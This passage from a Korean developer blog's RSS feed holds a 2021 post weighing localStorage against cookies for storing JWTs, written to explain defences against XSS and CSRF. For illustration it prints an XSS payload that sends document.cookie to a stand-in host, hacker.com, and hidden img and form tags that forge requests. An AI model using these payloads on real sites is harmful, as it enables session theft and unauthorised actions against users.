      <category>Squash</category>
      <category>깃 리베이스</category>
      <category>깃 머지</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/49</guid>
      <comments>https://cjw-awdsd.tistory.com/49#entry49comment</comments>
      <pubDate>Fri, 25 Jun 2021 20:04:44 +0900</pubDate>
    </item>
    <item>
      <title>JWT 저장소에 대한 고민(feat. XSS, CSRF)</title>
      <link>https://cjw-awdsd.tistory.com/48</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최근 REST API 서버를 구현하며 Spring Security로 JWT 인증을 구현했다. Access_Token, Refresh_Token을 어디다 저장할지에 대해 고민하다 CSRF에 대한 긍금증까지 생기게 되어 공부를 했다. 이번 포스팅은 JWT에 저장소에 대한 고민하면서 공부한 내용들을 정리한 글이다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. JWT 발급 프로세스&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 기존에 필자가 구현한 JWT 발급 프로세스를 간단히 살펴보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;697&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Z4uZx/btq3dPPnuzn/jQlaiZsunGGkvQPk01KXGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Z4uZx/btq3dPPnuzn/jQlaiZsunGGkvQPk01KXGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Z4uZx/btq3dPPnuzn/jQlaiZsunGGkvQPk01KXGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZ4uZx%2Fbtq3dPPnuzn%2FjQlaiZsunGGkvQPk01KXGk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;697&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;로그인 요청시 인증 서버에서 accessToken, refreshToken을 발급해 Header를 통해 전달&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;API요청시 accessToken을 Header에 넣고 요청&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;만약 accessToken이 만료일 경우 인증 서버로 refreshToken을 전달해 재발급 받는다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;여기서 accessToken과 refreshToken은 &lt;span style=&quot;color: #a6bc00;&quot; data-token-index=&quot;5&quot; data-reactroot=&quot;&quot;&gt;localStorage&lt;/span&gt;에 저장된다. 여기서 고민이 생겼다. &lt;b&gt;&lt;u&gt;토큰을 localStorage에 저장해도 될까?&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. JWT 저장할 때 고려할 점&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최근 이 고민때문에 수많은 Stack Overflow와 블로그글을 살펴봤다. 많은 글을 보면서 다들 공통적으로 고민하는 부분이 있다는 것을 알았다. 바로 &lt;b&gt;XSS공격과 CSRF공격&lt;/b&gt;이다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;XSS(Cross Site Scripting)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;701&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGdCBx/btq3hffH1Kj/jskQJ2hImfCFVrtAAOLkA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGdCBx/btq3hffH1Kj/jskQJ2hImfCFVrtAAOLkA0/img.png&quot; data-alt=&quot;XSS&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGdCBx/btq3hffH1Kj/jskQJ2hImfCFVrtAAOLkA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGdCBx%2Fbtq3hffH1Kj%2FjskQJ2hImfCFVrtAAOLkA0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;701&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;XSS&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;XSS는 보안이 취약한 웹사이트에 악의적인 스크립트를 넣어놓고 사용자가 이 스크립트를 읽게끔 유도하여 유저의 정보를 빼오는 공격 기법이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;보통 웹사이트 게시글에 악의적인 스크립트를 넣어 유저가 게시글에 들어가게끔 유도하게 하여 공격한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예를 들어 게시글에 아래와 같은 태그를 넣고 누르게끔 유도하면 javascript가 실행되는데 저게 alert()명령이 실행된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1619070201549&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:alert('hello world')&quot;&amp;gt;클릭해보세요&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이런식으로도 공격당할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1619070253003&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.location='http://hacker.com/cookie?'+document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위의 스크립트를 실행하게 되면 사용자가 가지고 있는 &lt;b&gt;쿠키 또는 LocalStorage 값을 해커의 서버로 전송할 수 있게된다.&lt;/b&gt; 즉 JWT도 이러한 방식으로 탈취될 수 있다는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;CSRF(Cross-site request forgery)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lMnB5/btq3hayLpXw/hTGjT3x4rHk4ecY6zJv0t1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lMnB5/btq3hayLpXw/hTGjT3x4rHk4ecY6zJv0t1/img.png&quot; data-alt=&quot;CSRF&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lMnB5/btq3hayLpXw/hTGjT3x4rHk4ecY6zJv0t1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlMnB5%2Fbtq3hayLpXw%2FhTGjT3x4rHk4ecY6zJv0t1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CSRF&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;XSS&lt;/b&gt;는 사용자가 악의적인 스크립트를 실행하여 사용자의 정보를 탈취하는 공격 즉 &lt;span style=&quot;color: #a6bc00;&quot;&gt;&lt;b&gt;사용자를 대상으로한 공격이다&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;는 사용자 의지와는 상관없이 &lt;span style=&quot;color: #a6bc00;&quot;&gt;&lt;b&gt;해커가 의도한 행위(수정, 삭제, 등록 등)&lt;/b&gt;&lt;/span&gt;를 사용자 권한을 이용해 서버에 요청을 보내는 공격을 의미한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예를 들어 사용자가 A사이트(&lt;a href=&quot;http://user.com&quot;&gt;http://user.com&lt;/a&gt;)에 로그인이하여 Cookie를 가지고 있다고 하자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 상태에서 해커가 사용자에게 악의적인 사이트에 들어오도록 유도한다.(스팸 메일 등) 악의적인 사이트에는 &lt;span style=&quot;color: #a6bc00;&quot;&gt;&lt;b&gt;A사이트에 생성, 수정, 삭제등의 요청을 보내는 스크립트가 들어있다.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1619071152742&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;http://user.com/get&quot; width=&quot;0&quot; height=&quot;0&quot; /&amp;gt;

&amp;lt;!--또는--&amp;gt;

&amp;lt;form action=&quot;http://user.com/delete&quot; method=&quot;post&quot;&amp;gt; 
  &amp;lt;input type=&quot;hidden&quot; name=&quot;body&quot; value=&quot;추천인을 써주세요&quot; /&amp;gt;
  &amp;lt;input type=&quot;submit&quot; value=&quot;전송&quot;/&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위의 태그 img, form태그를 이용해서 사용자가 의도치 않게 A사이트에 요청을 보내게되면 &lt;span style=&quot;color: #a6bc00;&quot;&gt;&lt;b&gt;사용자가 로그인했을 때 생긴 Cookie가 같이 전송되는 것이다.&lt;/b&gt;&lt;/span&gt;(&lt;b&gt;브라우저에서 A사이트에서 받은 Cookie를 자동으로 서버로 전송한다.&lt;/b&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그렇게 되면 사용자는 의도치 않게 (생성, 수정, 삭제) 요청을 보내게된다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3. 그럼 어쩌라는걸까?&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위의 내용으로 봤을 때 LocalStorage, Cookie 둘다 취약점이 존재하는데 어디에 저장해야한다는 걸까? 여기서 이제 많은 글을 찾아봤다. LocalStorage와 Cookie에 저장했을 때 각각의 특징을 보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;LocalStorage&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위에서 말했듯이 LocalStorage로 저장했을 경우 XSS 공격에 취약하다.(&lt;b&gt;JS를 통해 LocalStorage에 접근할 수 있기때문&lt;/b&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1619072155097&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function saveLocalStorage() {
  localStorage.setItem(&quot;Test&quot;, &quot;Test&quot;)
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하지만 LocalStorage에 저장하면 &lt;b&gt;CSRF공격에는 방어가 된다&lt;/b&gt;. 왜냐하면 CSRF는 기본적으로 브라우저에서 자동으로 보내주는 Cookie를 통해 공격이 이루어지기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Cookie에 JWT를 저장할 경우&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Cookie도 LocalStorage랑 마찬가지로 XSS에 탈취당할 가능성이있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하지만 Cookie에는 &lt;span style=&quot;color: #a6bc00;&quot;&gt;&lt;b&gt;HttpOnly&lt;/b&gt;&lt;/span&gt;라는 옵션이 존재하는데 이 옵션을 지정하면 Script에서 Cookie를 읽어올 수 없게한다. 이로인해 악의적인 Script에서 Cookie를 가져올 수 없기 때문에 XSS공격에 방어가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;결국 CSRF에는 아직 취약한데 여기서 하나의 방법이 JWT Token을 Cookie가 아닌 Header에 넣고 요청을 보내는 것이다. 이럴 경우 CSRF공격을 통해 쿠키가 전달되도 서버에서는 Cookie값을 사용하지 않기 때문에 CSRF를 통한 공격을 방어할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하!지!만! &lt;b&gt;Header에 Cookie를 넣기 위해서는 JS에서 요청 보낼 때 Cookie를 Header에 넣기 때문에 HttpOnly 옵션을 해제해야한다...&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;그래서?&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하지만 많은 글을 찾아보면서 결국 저장 장소로는 LocalStorage보다는 Cookie에 저장하는 것이 더 선호되는 편인것 같았다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그 이유로는 결국 XSS공격을 HttpOnly 옵션을 통해 방어할 수 있고 CSRF 방어같은 경우에는 아래와 같은 보편적인 방법이 있다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Csrf Token&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;임의의 난수(Csrf Token)를 생성해 서버 메모리(세션)에 저장하고 클라이언트에 전달한다. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;클라이언트는 중요한 요청(생성, 삭제, 수정)을 보낼 때 파라미터로 Csrf Token을 같이 보내 검증을 한다. 이렇게 했을 경우 &lt;span style=&quot;color: #a6bc00;&quot;&gt;&lt;b&gt;CSRF 공격을 당해도 CSRF Token은 서버에 전달되지 않으므로 서버는 요청을 수행하지 않게 된다.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Cookie Referer Check&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;요청을 보내면 요청을 보낸 Domain을 알 수 있는데 이 Domain이 내가 허용한 Domain에서 온 요청인지 체크하면 된다. 일반적으로 Referer Check로만 대부분의 CSRF를 방어할 수 있다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Cookie SameSite&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Cookie의 SameSite 속성은 외부 사이트에 쿠키 전송할 범위를 설정할 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;속성은 총 3가지가 있다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. Strict : Cookie를 전달 할 때 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;현재 페이지 도메인과 요청받는 도메인이 같아야만 쿠키가 전송&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. Lax : Strict에서 &amp;lt;a href&amp;gt;, &amp;lt;link href&amp;gt;, GET Method 요청을 제외하고 Strict랑 같음(크롬 80버전부터는 SameSite Default값이 Lax로 설정된다)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3. None : 도메인 검증 안함 (대신 secure 옵션이 필수로 붙어야함) SameSite를 사용하기 위해서는 프론트와 백엔드의 도메인을 맞추거나 Nginx 프록시를 사용해서 요청을 해야할 것이다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;결국 이러한 이유때문에 JWT Token은 LocalStorage보단 Cookie에 저장하는 것을 권장된다 생각한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;마지막으로 만약 REST API 서버가 외부에 공개되지 않는 경우에는 SE단계에서 방화벽으로 특정 IP(배포 서버 IP)만 허용을 하면 된다는 생각을 해본다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>알아가는 개발</category>
      <category>access token</category>
      <category>access token 저장</category>
      <category>cookie</category>
      <category>jwt</category>
      <category>Jwt 저장소</category>
      <category>JWT는 어디에 저장할까</category>
      <category>JWT를 저장하는 곳</category>
      <category>localStorage</category>
      <category>refresh token</category>
      <category>refresh token 저장</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/48</guid>
      <comments>https://cjw-awdsd.tistory.com/48#entry48comment</comments>
      <pubDate>Thu, 22 Apr 2021 15:41:37 +0900</pubDate>
    </item>
  </channel>
</rss>